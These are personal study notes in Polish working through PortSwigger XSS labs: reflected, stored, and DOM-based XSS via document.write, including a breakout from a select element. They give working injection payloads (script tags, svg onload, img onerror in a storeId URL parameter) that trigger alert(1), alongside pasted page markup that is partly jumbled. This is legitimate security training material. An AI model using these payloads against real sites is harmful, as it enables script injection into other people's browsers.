

Lab: Reflected XSS into HTML context with nothing encoded

- 1) `<script>alert(1)</script>` w wyszukiwaniu hasła

Lab: Stored XSS into HTML context with nothing encoded

- 1) `<script>alert(1)</script>` jako komentarz do posta

Lab: DOM XSS in document.write sink using source.location.search

- 1) Ważna informacja - jeśli chcemy zobaczyć gdzie jest nasz input w kontekście dom xss, musimy szukać w „inspect element” a nie w view page source.

Inspect:


```
▼ <section class="blog-header">
  <h1>0 search results for '1234'</h1>
  <hr>
</section>
▼ <section class="search">
  ▼ <form action="/" method="GET"> flex
    <input type="text" placeholder="Search the blog..." name="search">
    <button class="button" type="submit">Search</button>
  </form>
</section>
▶ <script>...</script>

▶ <section class="blog-list">...</section>
```

View page source

```
<section class=blog-header>
  <h1>0 search results for '1234'</h1>
  <hr>
</section>
<section class=search>
  <form action=/ method=GET>
    <input type=text placeholder='Search the blog...' name=search>
    <button type=submit class=button>Search</button>
  </form>
</section>
<script>
  function trackSearch(query) {
    document.write('
  <h1>0 search results for '<svg onload=alert(1)>'</h1>
  <hr>
</section>
▼ <section class="search">
  ▼ <form action="/" method="GET"> flex
    <input type="text" placeholder="Search the blog..." name="search">
    <button class="button" type="submit">Search</button>
  </form>
</section>
▼ <script>
  function trackSearch(query) { document.write('
  ▼ <svg onload="alert(1)"> event
  >
  ▶ <section class="blog-list"> ... </section>
```

 wpisanie kodu w wyszukiwarce

 jak wygląda dopisany przez nas element

Lab: DOM XSS in document.write sink using source location.search inside a select element

- 1) Jedyńy możliwy do kliknięcia element to któryś z produktów, po wejściu w produkt w linku jest parametr productId, więc szukam w kodzie jakiegos parametru productId. Znajduję coś takiego:

```
▼ <form id="stockCheckForm" action="/product/stock" method="POST"> event
  <input required="" type="hidden" name="productId" value="1">
  <script>[...]</script>
  <select name="storeId">[...]</select>
  whitespace
  <button class="button" type="submit">Check stock</button>
</form>

<input required type="hidden" name="productId" value="1">
<script>
  var stores = ["London","Paris","Milan"];
  var store = (new URLSearchParams(window.location.search)).get('storeId');
  [redacted];
  if(store) {
    document.write('<option selected>'+store+'</option>');
  }
  for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
      continue;
    }
    document.write('<option>'+stores[i]+'</option>');
  }
  document.write('</select>');
</script>
```

mój payload

z portswiggera

product?productId=1&storeId=""></select><img%20src=1%20onerror=alert(1)>